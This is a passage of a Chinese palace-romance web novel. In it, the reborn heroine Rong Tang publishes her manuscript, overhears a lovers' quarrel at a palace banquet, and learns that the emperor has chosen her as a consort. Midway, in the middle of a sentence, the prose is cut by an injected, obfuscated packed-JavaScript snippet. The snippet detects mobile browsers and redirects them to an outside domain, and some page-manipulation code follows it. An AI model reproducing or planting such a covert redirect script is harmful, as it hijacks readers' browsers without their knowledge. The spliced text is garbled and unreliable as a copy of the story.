这日午后,虞忆安喜滋滋地来寻容棠,说已经将她的手稿刻印成了书册,名为《还魂异闻录》,开始在书坊正式售卖了。 “棠棠,我给你带了成书,你瞧瞧。”虞忆安说着,取出一个油纸包裹递了过去。 容棠好奇地拆开,将那崭新的书册捧在手中。著者处的化名是“烂柯人”,是她稍加思索便转瞬想到的。西晋的王质只不过在山中停留了片刻,人世间却已经发生了翻天覆地的变化,与她的人生何其相似。 虞忆安很意外她取了这么个名字,道:“棠棠,这名字乍一看很像个历经风霜雨雪最终超脱世俗之外的隐士。” 容棠笑而不语,缓缓揭开书页。看着自己的故事真的成为了装帧成册是书,她有些新奇,又有些感慨。总体而言,这话本中的字句与她的手稿大致相同,只不过稍加润色和修改了一番。 这真是种奇妙的感觉啊。容棠爱不释手,笑吟吟道:“想不到,有朝一日我竟也有了属于自己的书。” 虞忆安道:“棠棠,往后你若是又有了什么新的灵感,记得随时告诉我。” 容棠问道:“不知这话本的故事接下来该怎么写才能更吸引人来看?” 虽说最初她写这些故事只是为了纾解心绪,但今日看着那散发着墨香的书册,容棠心中顿时升起了斗志,她想要长长久久地写下去,将自己前世的经历彻底扩写为丰满的故事。因此,她得充分了解一下京城诸人的兴趣,如此才更好安排后面的情节。 虞忆安想了想,暧昧地笑道:“那自然是写一些风花雪月之事了。俗世之中,谁能逃脱得了‘情’字?若是波澜起伏、引人入胜的故事再加上缠绵悱恻的感情,那么这书一定会卖得更好的。” 这就有些无从下手了啊。容棠茫然与她对视:“感情的事,该怎么写?” 虞忆安嘻嘻笑道:“待有朝一日,你遇上自己的如意郎君,兴许就知道写些什么啦。” 容棠面上一红,佯怒地去拧她的脸。 两人玩闹一阵,虞忆安复又正色道:“棠棠,以我久阅话本的经验来说,其实你不必着急,先原原本本将故事写下去,待写得久了,再慢慢加一些其他内容进去便好。” 容棠点点头:“我明白了。”在她笔下,主人公还尚未报前世无辜冤死之仇,还没能让害死自己的罪魁祸首付出代价,实在不必急着分心在男女之事上,否则只会偏离了他的志向,显得太过沉湎私情。 她一想到白日遇见的那个可恨的萧磐,顿时摩拳擦掌,决定今晚就开始写主人公的复仇之路。 * 这一日,容棠正在廊下逗着鹦鹉,却见岚月走上前来道:“姑娘,有一张忠远侯府送来的请帖。” 忠远侯府? 容棠伸手接了过来,将那帖子展开,细细读了一遍。这请帖乃是忠远侯独女顾琼珠所写,说侯府后花园的海棠开得正好,她不愿独享这番美景,便邀请诸位姐妹一同赏花。 看罢帖子,容棠一时间有些怔忡,半晌没作声。 她抬指轻按额角,想起前世此时,顾琼珠同样递了帖子给她。只是那时她受伤后有些倦怠,浑身乏力,便婉言谢绝了邀请。 前世她与顾琼珠的交集并不多,只依稀记得她出身不俗,容貌娇艳,本也被丞相钦定为“命格显贵”,但后来冲喜人选中却并没有她。听说是因为顾琼珠突感风寒,卧床不起,因此才无法如期入宫。 为此,容棠还暗暗懊悔过。早知道染疾便可避开此事,她该想方设法让自己生病才是。 想起往事,她不由得长叹了一声,打定主意按时赴约,也算是弥补了前世的遗憾。 忠远侯府的海棠乃是京中一绝,她也很想大饱眼福。春日正好,合该出门赏花赏景,免得再陷入那惶惑不安的情绪中无法自拔,如此才算是不辜负那春日海棠的盛景。 7. 赴宴 几日后,忠远侯府。 容棠自马车上迈步而下,由着侯府人引路,自侧门进入,穿过前厅和回廊,进了月洞门,又走了片刻,才到了侯府的后花园。 园内草木青翠欲滴,娇蕊艳色含春,花枝随风翩跹。沿着园中的小道一路漫步,便可欣赏那娇艳怒放的海棠花,花瓣层层叠叠,白色如皑皑积雪,红色似胭脂粉面,摇曳在那绿叶之中,显得格外娇俏可爱。 待众人赏花乏了,便可到坐席处暂歇。侯府的下人们特意在园中空地处支起了轻薄的纱帐,隔绝出一片宽阔又安静的地方。桌案摆放得错落有致,每一张桌子上都备好了点心与茶饮,也有不会醉人的美酒。 忠远侯之女顾琼珠身为主人,举止爽利大方,亲自引着每一位来客入园,忙前忙后,极是周到。她着一身齐胸襦裙,外罩大袖衫,眉心花钿亦是海棠形状,说不尽的娇媚可人。 容棠含笑一路寒暄过去,一抬头看见崔婉正在向自己招手,当下便走了过去,在她身边坐下。 两人说了几句话,很快周围便有其他姑娘插话进来,气氛很是热闹。崔婉起初有些羞涩,但大家年纪相仿,又都天真烂漫,便很快同容棠一样,与众人聊到了一处去。 众人聊了些京中趣闻,正兴致勃勃时,不知是谁忽然开口,神神秘秘道:“你们可知,宫中似乎要为陛下张罗选秀之事了。” 容棠正专心致志吃着点心,闻言心中一凛,忙抬头看向说话那人。 很快有人接话道:“算起来,陛下登基已有一年,却始终不曾立后册妃,若是按照大燕旧例,也该好好地兴办此事了,否则终究不合礼法和规矩啊。” “听说这一回是皇太后的意思,陛下孝顺,想来一定不会再违背。如此说来,咱们是不是都得参与选拔?” “那未来的皇后娘娘,会不会就是我们中的一位?”几人说着,忍不住掩唇笑作一团。 正玩笑着,却见顾琼珠换了身家常衣裳,面上含笑,款款而来,在众人中间坐下。她双颊微有红晕,被酒气一熏染,愈发显得丽色如春,自带一种傲然之感。 几人的笑声一顿,有人面上浮出恍然大悟之色,笑吟吟道:“咱们可真是糊涂了,这皇后人选难道还会有第二人吗?自然非琼珠莫属了。” 此话一出,众人不由得默了片刻,虽有少数人面上有不平之色,但也不得不承认,顾琼珠确实有可能成为皇后。 忠远侯府祖上有从龙之功,历代都被天子视为股肱之臣。顾琼珠的父亲在朝中地位举足轻重,母亲则是当今太后的亲表妹。皇太后膝下无女,对这个唯一的外甥女疼爱不已。顾琼珠既是太后亲眷、皇帝表妹,岂不是比旁人胜算更大?再者,论起家世、才貌,她亦是出挑的,无论从哪一点来看,都担得起皇后的位置。 顾琼珠笑得十分端庄,淡然开口:“立后事关重大,乃是陛下圣心独断,诸位姐妹还是莫要多言了。今日赏花,咱们不谈别的,只安心宴饮。”她很快转移了话题,将方才那些热火朝天的讨论轻轻揭过。 容棠握住茶盏,思绪纷乱,情不自禁陷入回忆之中。 她记得,前世亦有选秀的消息自宫中传出,且言辞凿凿,令人不得不信。为此,容家着实忧心了一阵子,生怕明旨一下,容棠便得依例参选。 容肃文和徐翡从来都不希望容棠能入宫获得荣宠,光耀门楣。他们只盼着唯一的女儿能平安喜乐过完一生。 然而后来,皇帝亲自发话驳了选秀之事,此事便不了了之了。不论是太后还是皇帝,亦或是朝中重臣,再无一人提起此事。直到皇帝驾崩,后宫依然空空如也。若非如此,她与余下几人也不会被召进宫去假充妃嫔。 容棠想到此处,心中禁不住咯噔了一下。倘若,这场选秀顺利进行,选出了后妃,那么即便来日皇帝真的又驾崩了,丞相也不会以后宫无人为理由让她入宫了,她岂不就能够避免前世的命运? 可昔年究竟是什么缘故导致选秀搁置了?她百思不得其解。 直到赏花宴结束,容棠坐在了回府的马车上,依旧在思索此事。 以顾琼珠的身份和家世,为何她前世并未顺利成为皇后呢?难道皇太后最终还是无法违拗皇帝的意思,因而无法将自己的外甥女扶上后位?如此看来,这位天子虽然孝顺,却也不是事事遵从母后的意思,想来对这位表妹也无甚情分。 只是......容棠忽然心中一紧。皇帝出事前,她曾在京城中一处商铺遇到了顾琼珠,那时她面色红润,气度极佳,怎么偏偏几日后便感了风寒呢?若不是那场风寒,顾琼珠于情于理,都该入宫的。 容棠伸手敲了敲额头,只觉得千头万绪如一团乱麻,搅扰得她头痛不已。她不愿去恶意揣测什么,只是觉得此事太过凑巧,便晃了晃头,将那些乱七八糟的念头赶出去。 马车一路畅通,不多时便回到了容府。容棠正欲回房休息,却见母亲身边的侍女前来传话,说夫人有要紧事要交代姑娘。 她换了身轻便衣裳,略饮了口茶,便快步向正堂去了。 “娘,您找我有何事?”容棠在母亲身边的木椅上坐下,问道。 徐翡秀眉微蹙,似乎心事重重,许久才道:“宫中隐约有消息说,此次宫宴不单单是为了陛下贺寿,还有借机相看各家未嫁女子,欲充盈后宫之意。” 容棠一怔:“是要张罗选秀之事吗?” 徐翡点头:“以你爹爹的官位,若是大兴选秀,你少不得也得参选。棠棠,你想过此事吗?” 容棠一阵恍惚,好像又回到了前世的这个时候。那时的她是如何说的?她自己都记不太清了。 徐翡见她不语,轻叹一声道:“我和你爹爹自是不希望你中选。可这等事情,谁又能说得准呢?若是太后或是陛下真的选中了你,咱们也无法抗旨不尊。” 容棠默了默,说道:“太后娘娘应当只看得中她的外甥女吧?” 徐翡奇道:“棠棠,你是听说了什么吗?” 容棠将今日赏花宴上众人的议论说了,徐翡一时间也沉默了,片刻后才道:“不错。以顾姑娘的出身和家世,再依靠与太后的亲眷关系,这皇后之位十有八九会是她。而顾氏一旦为后,她与太后作为后宫最尊贵的两人,定然会紧密相依,恐怕其他妃嫔无论如何都越不过她们去。在那种情形下,其他妃嫔即便再得宠,也终究受制于人。而陛下心中,说不定也还是更偏向于自家表妹。” “娘,太后属意顾姑娘,陛下就一定会听从吗?”容棠问道。 徐翡微一踌躇:“这等皇家之事,我实在不知,只听你爹说起过,陛下对皇太后一向恭谨孝顺,母子亲情深厚。况且,陛下又与顾姑娘有表兄妹之情,立她为后岂不是亲上加亲?” 容棠心念一转:“可若是陛下不愿呢?” 毕竟皇帝并非无根基的孩童,也不是需要依附母族的傀儡,若是他执意不肯,太后也无法强迫他选顾氏为后。他即便孝顺,却也不会是任人摆布、毫无主见之人。 “又或许,陛下不喜顾姑娘?” 她思来想去,下意识脱口而出:“想来就是这两个缘故才致使顾姑娘最后没能当上皇后。” “棠棠,你说什么?”徐翡诧异看向她,“你怎知陛下不肯让顾姑娘做皇后?” 容棠一惊,这才意识到自己不小心将心中的话说了出来,忙道:“娘,我只是随意猜测一番。” 她生怕母亲继续追问,连忙转了话题:“选秀之事已然板上钉钉了吗?” 徐翡摇头:“陛下尚未颁下明旨,谁也不知他会如何做。但论起来,陛下登基近一年,也是时候该选秀了。” “棠棠,你想入宫吗?”徐翡问道。 容棠想到前世种种,竭力抑制住想要打寒颤的冲动,摇头道:“娘,若是入宫为妃嫔,岂不是终身都要费尽心思争宠,从而让自己的后半生有个依靠?我不愿过这样的日子,更不愿......与旁人共侍一夫。” 本朝男子娶妻纳妾之事实属平常,不要说皇家,就是寻常官员显贵,也很少有不纳妾的。只是容肃文与徐翡琴瑟和谐,对妻子忠贞不渝,多年来从未有过纳妾的念头。她自小耳濡目染,心中自然也期盼这等姻缘。 徐翡温言道:“娘明白你的意思。既如此,那日入宫后,你便尽量待在娘身边。若是太后和陛下有意单独召见各家女孩儿,你便想个法子推了,或是走远些,莫要与他们正面相对。若是他们能在宴会上相中了其他人自然是好,可若是最终还是会如期选秀......棠棠,你也要有所准备。” 容棠应声道:“娘放心,我明白的。” * 转眼便到了入宫赴宴之日。午后,容棠随爹娘一道坐上了进宫的马车。 容肃文与徐翡皆按照品级穿戴,看起来严整而又正式。容棠穿了身天水碧的衣裙,戴一对精巧的耳坠,发上只斜斜插着簪子并寥寥佩饰,一切都以简单为上,不欲惹人注意,也不想出什么风头。 她坐在马车中,伸手撩开车帘向外看去。这条入宫的路,她前世也走过,只是那时的心境与今日大不相同。想不到时隔这么久,她又要再度踏进那座夺了她性命的皇宫。 过了第一道宫门,所有人都须下马车,接受盘查后再步行进入皇宫内部。众人甫一入宫,便有内监笑吟吟上前指路,说今日陛下会在广阳殿与各位大人宴饮,而太后娘娘则在昭阳殿招待诸位夫人及姑娘们。 容棠与母亲对视一眼,便按照吩咐向昭阳殿走去。 到了昭阳殿后,容棠跟在母亲身后,在中间后排位置跪坐。这个地方的前后左右都坐满了人,起到了一定的遮蔽作用,她略微松了口气,便有意垂眸,试图让自己在满殿人群中不那么显眼。 宫人奉上茶果,众人等了许久,方才听见通传声,说太后到了,忙纷纷起身拜倒行礼。容棠只听见一个带笑的声音道:“免礼。” 她起身后,悄悄抬头看向上首。皇太后看起来五十余岁,保养得宜,气度雍容,眉眼带笑,看起来很是和蔼可亲。她只字未提选秀,只道:“哀家年纪大了,总爱热闹,便召了各位前来陪我说说话,顺便也见一见京中这些聪颖伶俐、花容月貌的女孩儿们。” 便有几个能说会道的官员夫人率先开口说了些吉祥话凑趣,果然逗得太后眉开眼笑。容棠不动声色地扫视着殿内,在前排处看见了盛装打扮的顾琼珠。她今日格外光彩照人,发髻上珠翠如云,却又不显得俗艳。 由于今日赴宴的女眷甚多,太后无暇逐个召见。众人便依次起身,十人一排向太后行礼参拜。 太后高坐上首,容棠屈膝请安后缓缓起身,心想这样远的距离,太后或许根本看不清她们的模样。果然,太后并未多言,只说了些客套话,便到了开宴的时候。 容棠敛去心神,专心地盯着眼前的菜肴。宫中的菜式果然极其精巧,每一样都色香味俱全。她细细品尝,暗暗赞叹御厨的好手艺。 宴席上还备了酒,酒香馥郁,入口醇厚。容棠提起酒壶,替母亲斟满,随即将琥珀色的美酒缓缓注入自己手边的琉璃酒盏中。她浅抿了一口,果然余味悠长,很是醇厚。 酒过几巡,太后笑眯眯开口,说不愿拘了年轻的姑娘们,准她们自个去御花园逛一逛,只留夫人们在此处说话。 容棠如逢大赦,一转头又对上崔婉的目光,两人心意相通。她便低声和母亲说了一声,离开了昭阳殿。 她走出几步,恰好遇上崔婉,两人便结伴一道往御花园去了。 宫中的御花园修建得很是阔朗,紧邻宫中的太清池。浩大的水面倒映着碧蓝的天,清波漾漾,如一面巨大的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762664|174452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天然铜镜;岸上则种植了各色树木与奇花异草,假山怪石掩映着亭台楼阁,风景如画,生机盎然。 容棠一路走着,看着这样的美景,顿时觉得心旷神怡。她偶一侧眸,见崔婉双颊酡红,时不时抬手揉着额角,便问道:“妹妹是醉了吗?” 崔婉轻声道:“我素来不擅饮酒,今日觉得宫宴上的佳酿滋味甚佳,不小心多饮了几杯,这会子有些头晕,不知是不是不胜酒力。” “既如此,我们便寻一处地方略坐一坐。”容棠说着,举目远望,瞧见不远处一片高大而繁密的树丛旁恰好坐落着一座亭子,便扶住崔婉的手臂走了过去,又细心地搀她在石凳上坐下。 这亭子恰好朝向水面,凉风阵阵,很能提神醒脑。四周树木林立,郁郁葱葱,满目皆是翠色,密密的树丛枝叶如同天然帷幕,投下大片大片树荫。 容棠虽也饮了酒,但一则那酒并不多么醉人,二则她自认酒量甚豪,因此并未觉得不适。她见崔婉有些倦怠地阖上了眼,倚靠在亭柱上,便放轻了呼吸,只安静望着远处。 不得不说,这皇宫中的景致确实美不胜收。此时夕阳半落,橘色的余晖撒在水面上,泛着晶亮而炫目的光。万籁俱寂之中,容棠忽然听见有隐约的说话声从她们身侧的那片树林后传来。 她一惊,转头见崔婉也睁开了眼。两人本着非礼勿听的念头,起身打算离开。然而容棠刚起身,却见崔婉忽然身子一僵,反而走近了一步,忙道:“崔妹妹......” 恰在此时,深绿色的枝叶被微风拂开一道缝,隐约可见一个青年郎君伫立原地,身形颇为熟悉。容棠正在想那是何人,便听见崔婉颤声道:“那是......堂兄!” 容棠震惊不已,定睛一看,果然是崔渤。而与他面对面说着话的,则是一抹海棠色的倩影。 “顾姐姐?”崔婉呆立原地,喃喃自语,“堂兄怎会和顾姐姐在一处说话?他们何时这般熟悉了?” 顾琼珠?容棠愕然,定睛看去,顿时陷入了沉默。然而那边的说话声却随风一点点飘了过来。 “崔公子费尽周折托人传话给我,究竟有何事?”顾琼珠的语气很是漠然,“今日乃陛下万寿宴,宫中人多眼杂,我不能久待,还请长话短说。” “琼珠,”崔渤开口,“听说,太后娘娘有意为陛下选秀,并且属意你做皇后,是吗?” 容棠心中一凛,下意识放轻了呼吸。 另一边,顾琼珠却始终不语。崔渤的语气顿时不复温和,隐隐透着些急切:“那你呢?你心中是何想法?” 许久,顾琼珠冷笑一声:“我如何想,又与崔公子何干?你我非亲非故,崔公子这般质问,似乎有些逾距了吧。” “非亲非故?”崔渤抑着嗓音重复了一遍,苦笑出声,“正是。以你尊贵的身份,想来天底下唯有皇后之位才配得上。似我这等凡夫俗子,本就不该痴心妄想。只是琼珠,你当真决定了要入宫?那我们先前的情分——” “崔公子慎言,”顾琼珠寒声打断他的话,“你我有何情分?此话若是被旁人听见,只怕会引起无端的误会。” 她顿了顿,声音又沉了几分:“有些话我隐忍不言,算是顾念着长辈们的旧情,也是最后给你几分薄面。往后,什么话该说,什么话不该说,你心中有数。否则,姨母和侯府都不会善罢甘休的,你晓得轻重。” “琼珠,”崔渤有些急切地唤了一声,语气哀切,“你......再等一等我好不好?待我干出一番事业,一定风风光光娶你——” “崔明安,这几年我一直在等你,如今不想再等下去了。”顾琼珠道。 她轻吁一口气,语气转柔:“你......善自珍重吧。” “琼珠!”崔渤凄然唤住了她,似有不甘,“我......我想问你最后一件事。” 他沉默良久,声音蓦地低沉了下去,缓缓开口,语气是掩不住的哀伤。在他问出那句话后,顾琼珠不曾迟疑太久,很快便回答了他。 崔婉无论如何也不曾想到堂兄与顾琼珠竟有这样一段故事,整个人都处于极度震惊之中,一时间关心则乱,思绪一片混沌,竟连那最后的对话也不曾听清。两人说完那番话后,顾琼珠毫不留恋地转身离去,海棠色的发带在半空中轻轻飘动,转眼间便已经走远。而崔渤怔然立在原地许久,才黯然离去,背影显得格外萧索。 得知此事的崔婉手足无措,转头见容棠面色有异,忙抓住她的衣袖,问道:“容姐姐,我堂兄和顾姑娘说了什么话?你听清楚了吗?” 容棠抿唇,有些踌躇。她确实听得一清二楚,可不知道该不该说出口。崔婉望着她,语气不自觉带了些恳求:“容姐姐,此事事关我堂兄,请你一定告诉我。否则,我担心他冲动之下会做出什么不当之举,从而酿成大祸。” 她眼底有些湿润:“祖母最疼爱堂兄,伯父对他也寄予厚望,全家上下都绝不愿看着他被什么身外之事所牵绊、所困扰。堂兄与顾姑娘之事,家中长辈并不知晓,若是......若是......” 容棠垂眸思索了半晌,低低叹了口气,点头道:“好,我一五一十全都告诉你。” 她环顾四周,确定无人经过,这才放轻了声音,一字一句道:“崔公子问顾姑娘的那句话是:‘你真的喜欢陛下吗?’” “而顾姑娘的回答是——” 容棠抿了抿唇,续道: “‘当然。陛下风采卓然,俊逸潇洒,我敬慕他,心悦他。’” “‘我真心实意地......喜欢陛下。为了陛下,我愿意入宫,愿意长长久久陪在他身边。’” 与此同时,亭子正前方那排高大粗壮的树木背后,铺设着石子的宫道上,本自负手缓步而行的男人忽然停住了脚步,循声向树林背后望了过来。 8. 圣旨 熟悉的嗓音如绵绵春雨,一字一句皆是真情流露。她语气中的认真与坚定,与那日佛寺中如出一辙。他恍然间觉得,若此刻自己脚下踏着的是一片干裂而寸草不生的土地,那么一定会被她话中的暖流彻底浸润,重焕生机。 离奇的是,少女的语气没有丝毫羞赧与迟疑,自来女子,不应当都会在感情之事上极尽婉转,不肯直言吗?可她却毫不遮掩,坦坦荡荡地昭示着自己的心意。他有些疑惑,但略思索片刻很快就说服了自己:她一定不是寻常女子,不会扭扭捏捏,只会勇敢而坦然地面对自己的内心。思及此,他心底微微一动,有种奇特的感觉一点点掠过心尖。 他停在原地,耳边听着树林那边静了下去,片刻后似有人起身,衣衫微动,轻盈的脚步声逐渐远去,最终彻底沉寂了下来。可她的声音犹在耳侧,他反复回想着那句“我喜欢陛下,我愿意入宫”,转头向一旁的内侍道:“昭阳殿中的宴会结束了吗?” 内侍躬身道:“尚未。此刻,太后正在同各位夫人说话。” 他微一思索,道:“既如此,便去昭阳殿走一趟吧。” 内侍一怔,很快反应过来,扬声道:“是。摆驾——昭阳殿!” 昭阳殿这边,容棠自和崔婉复述了那番话后,便见她神色怔忡,眉头紧蹙,面上笼罩着愁云惨雾。 她心中叹了一声,心想连自己都会为此事而震惊到无以复加,更何况崔婉呢?虽不知崔渤此人品行如何,但他对自家妹妹却是真心关爱,崔婉对他亦如此。兄妹情深,她又怎能不为此而心乱如麻呢? 容棠也着实没想到,看起来毫无交集的两人竟会有这样一段故事。从两人的言谈来看,似乎是顾琼珠先一步舍弃了过去,决意要入宫出人头地。这样一来,被弃若敝履的崔渤显得格外凄凉可怜。 但顾琼珠却又留下了语焉不详的几句话,话里话外似乎都表示自己一直在给崔渤留着几分情面,听起来更令人如堕云雾,摸不着头脑。容棠给自己倒了盏茶,嗅着那茶香,暗自琢磨:难道其中另有隐情? 她想着,情不自禁抬头看向顾琼珠,却见后者神色如常,正浅笑着向旁人敬酒,言行举止挑不出一丝疏漏。不得不说,顾琼珠确实很有皇后的风范。 容棠深吸一口气,心想既然顾琼珠对皇帝一往情深,即便不是为了皇后之位,也一定心甘情愿入宫。她开始思考,是不是应该再去一趟钟福寺,祈求佛祖保佑顾琼珠顺利入宫为后,如此既成全了一段美好姻缘,又能保住自己这一世的平安。 她正想入非非时,忽然听见殿外宫人响亮的通传声:“陛下到——” 皇帝来了?容棠愣住,握住茶盏的手腕轻轻一颤,险些将茶水溅了出来。她有些恍惚地想着,上一世躺在那口棺材里的天子,那个间接累得自己惨死的人,下一刻便要活生生出现了? 说来可笑,前世她从不曾见过那位陛下的真容,可最后却偏偏撞死在了这个素未蒙面之人的棺材上,真是生也纠缠,死也纠缠。 圣驾突然到来,当真是出乎意料,连太后面上都掠过一丝讶异。容棠从乱糟糟的思绪中回神,忙随旁人一道俯身请安,口中道:“参见陛下,恭祝陛下福寿安康。” 她垂眸,额头贴于手背上,心如擂鼓般跳了起来。两世了,这还是她头一回见到皇帝。不知这位皇帝陛下究竟长什么模样? 容棠屏住呼吸,耳边听见一个清朗淡然的声音响起:“平身。” 太后含笑道:“皇帝怎么亲自过来了?” 皇帝说道:“母后在此与诸位夫人宴饮,朕便想着来探望一番,唯恐母后多饮了酒。” 众人见状,便一齐举杯,向皇帝敬酒,口中念着祝寿之词。容棠低眉敛目,只盯着自己酒盏中微微晃动的液体,余光似乎瞥见上首的皇帝吩咐人斟了一杯酒,随即道:“诸位请。” 容棠举杯饮酒,忍不住悄悄抬眼,目光飞快地掠过酒盏上方,瞥向上首那人,却只堪堪瞧见他仰头时露出的一方下颌,吞咽酒液时滚动的喉结若隐若现,隐没在石青色襕袍的衣领之后。那只戴着玉扳指的手闲适又随意地执着酒盏,手指修长,弯成微微的弧度。 皇帝将酒饮尽,放下酒盏,那张面孔便显露了出来。然而容棠恰在此时收回了目光,眼睫低垂,只瞧着足尖,自然也没有留意到那双深浓如墨的眼睛投出的目光,倏而如轻云般滑过她,旋即收回。 宫宴已近尾声,皇帝没有多待,很快便走了。太后面有疲色,便吩咐了身边人好生送众人出宫。容棠缓缓吐出一口气,扶着母亲的手臂向殿外走去。折腾了大半日,总算是能够离开这里了。 她刚迈出昭阳殿,便听见身后有人唤自己,却是崔婉。她柔柔一笑,轻声道:“容姐姐,我想和你说一句话。” 容棠看向母亲,见她微一点头,便走了过去,问道:“怎么了?” “姐姐,我想求你一件 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接下来几日阴雨绵绵,天总是阴沉沉的透着一股窒闷,容棠本打算去一趟钟福寺,然而想着雨后山路最是难行,只好打消了这个念头。 宫宴后数日,不仅选秀之事毫无动静,也没有任何有关册立后妃的消息。容棠心想,难道这一世还是会和从前一样不了了之吗? 她心事重重地沿着回廊慢慢踱步,正偏了头去看院子里嫩绿的新芽,正巧遇见了刚刚回府的父亲,便唤了声“爹爹”,却见容肃文眉头紧锁,神情紧绷,面上一丝笑意也没有。他本自沉思,听见女儿的声音猛然回神,却未如往常那边笑着应声,而是沉沉叹气,说道:“棠棠,随我去见你娘,有要紧事告诉你。” 容棠从未见过这样严肃的父亲,心中咯噔一下,忙跟了上去。父女二人来到上房,闻讯而来的徐翡面有诧异之色,问道:“怎么了?为何脸色这般难看?” 容肃文屏退众人,在圈椅上坐了,伸手端起茶盏,却只是用力地捏住杯壁,抑着嗓音开口:“三日后,宫中会派人到府上传一道圣旨。” 徐翡心中一紧,问道:“陛下有什么旨意?” 容肃文涩然开口,神色是掩不住的哀伤:“那是一道给棠棠的圣旨。” “陛下他......选了棠棠入宫。” 容棠霎时间如遭雷击,呆立原地做声不得。 9. 君心 ......怎会如此? 如果不是青天白日,容棠真的以为自己是不是见鬼了。 她听不清四周的动静,也看不清爹娘面上是何表情,满心里只反反复复盘旋着一个问题:皇帝为何会无缘无故颁下这道旨意?他明明与自己素不相识,为何册封她?他是不是疯了? 周身如置于烈火上炙烤,她拼命回想着前些日子的一切,可却怎么也想不出究竟是哪里出了岔子。这一切真是让人摸不着头脑! 她本以为这一世最坏的结局便是重蹈前世覆辙,可没想到,事情会朝着意想不到的地方发展。 真是荒唐。重活一世,她竟以这样的方式再度和皇帝有了千丝万缕的关系? 她命好苦。 容棠闭了闭眼,竭力让自己平静下来。她慢慢坐下,抬眸看向一脸严肃的容肃文:“爹,陛下为何会选我入宫?” 容肃文叹了口气,眉头拧出清晰的川字纹,说道:“选秀之事一向是宫中先发明旨,再由各地呈报适龄女子名册,初选后复选,最后择才貌家世俱佳者参与殿选。可今年却不同寻常。太后体念陛下政务繁忙,便不欲如旧例般大费周章,只从京中各家中挑选了适龄者,将名单送呈陛下。陛下若无异议,便可只对这些人进行殿选。” “可偏偏......陛下拿到那名单后,却直接将棠棠的名字圈了出来,并说不必再选了。” “陛下只选了我一人?他不曾选忠远侯府的顾姑娘吗?”容棠问道。 容肃文颔首。 容棠想起那日赏花宴上众人的戏谑之语,以及顾琼珠那胸有成竹的模样,愈发觉得心情复杂。 皇帝放着家世背景更好、关系上也更亲近的表妹不选,却选了毫不相干的自己,他究竟打的是什么主意? 她心中郁闷又怨怼,说道:“可陛下压根没有见过我,更不识得我,为何会选我呢?” 容肃文道:“我亦觉得不解。棠棠,先前陛下生辰宴时,你可曾遇到过他?” 容棠茫然摇头:“那日我除了跟在娘身边,便只和文国公府的崔家妹妹一道在园子里逛了逛,不曾见过旁人。后来陛下虽来了昭阳殿,可满殿人声鼎沸,我又一直低着头,他不可能注意到我的。” 徐翡面带忧色,道:“难道陛下选棠棠是另有用意?” 容棠心念忽转,问道:“爹爹,呈给陛下的那份名单里有哪些人?” 那份名单里人数众多,容肃文也无法一一记清,只凭着记忆缓缓说了几个名字,其中顾琼珠、崔婉等几人都是容棠熟悉的。她抬眸看向容肃文:“爹爹,这份名单背后的家族在朝中的地位是不是各不相同,有轻重之分?” 容肃文点了点头:“确实如此。这份名单里,有些府第虽有品级,但并无实权,只是仰仗祖上的荫封,有些在朝中的地位则举重若轻。譬如文国公府虽有品级,但自老国公辞世后便有衰落之貌,论起权势自然比不过忠远侯府。算起来,那名单里权势最煊赫的,当属忠远侯府。” 容棠望着父亲,却见他敛眉许久,缓缓道:“陛下不是处处受制于人的傀儡之君,但他继位毕竟不过一年多,时日尚短,先帝时期遗留下来许多弊病和问题尚未得到解决,而这些隐患盘根错节,与朝中不少势力息息相关,处置起来并非易事。况且,当年他能登基也颇费了些周折,并非一帆风顺。” 容棠讶异道:“陛下不是先帝唯一的儿子吗?难道先帝放着亲儿子不理,竟还动过传位给旁人的念头?” 她话一出口,猛地想起一人,顿时明白了过来。 容肃文道:“此事说来话长。昔日,先帝在位多年,后妃甚多,却始终没有皇子出生,眼看江山后继无人,无奈之下只能从宗室之中挑选出类拔萃者,带入宫中教养,以承宗器。励阳王便是那个被选中的人。” 容棠深吸一口气。原来萧磐有这么一段过去,难怪前世群臣会推举他。 “励阳王的父亲因早年在战场上受过伤,一直病痛不断,在他六岁那年过世了,偌大的王府便由王妃一人独立支撑,他以孩童之身,亦处处为母分忧。先帝见那孩子聪颖机灵,心中喜欢,加之其父早亡,便选了他入宫,养在皇后膝下。王妃又与当初的皇后即如今的太后是手帕交,情同姐妹。皇后自然视他如亲子,悉心照顾。” “励阳王自八岁入宫,在宫中一直长到了十五岁,文韬武略样样精通,先帝和皇后都对他疼爱有加。而这七年中,后宫依旧没有动静,就连先帝也已经近乎认命了。所有人都以为,先帝于子嗣上彻底没了指望,这太子之位只会是励阳王的了。” 容肃文说着,端起茶盏轻抿了一口,又道:“谁知第八年,后宫忽然传出喜讯,先帝的妃嫔胡氏有了身孕。” 容棠在心底默默算了算。当今天子年方二十,而萧磐则已年过三十,兄弟二人正好差了十余岁。 容肃文续道:“先帝闻讯,自然欣喜。而胡氏也没有辜负陛下的期许,顺利生下一子,便是当今陛下。” “可胡氏为何没有被尊为太后?”容棠忽然意识到,那次宫宴上,所有人恭谨拜见的只有一位皇太后。 皇后身为正宫,不论哪位皇子登基,她都会是名正言顺的太后,这无可厚非;可胡氏为天子生母,陛下登基后,也该同样尊她为太后才是。 容肃文低声道:“此乃宫闱秘辛,我等外臣也不甚了解,只隐约听说,胡氏生产后似乎因什么事情触怒了先帝而被厌弃,进而心生惶恐,竟致神智错乱,常作发疯之态。先帝担心她无法照料好孩子,便将陛下交给了皇后抚养,而胡氏从此便被迁去了偏远的宫殿,几乎等同于被幽禁起来了。虽还保留着位分,但与废妃并无区别。” 他叹道:“胡氏虽神志不清,但到底是陛下的生母,即便再不受先帝喜爱,也对陛下有生育之恩。因此,不少朝臣也向陛下进言,请求给胡氏应有的名分,否则于礼不合,但陛下却一直没有表态。他登基后,一直忙于处理朝中诸多事务,一时也顾不上这些。” 容棠心中不忍:“可她也是个可怜人。怀胎十月的孩子到头来被送走,自己也落得个疯癫不清的结局。” 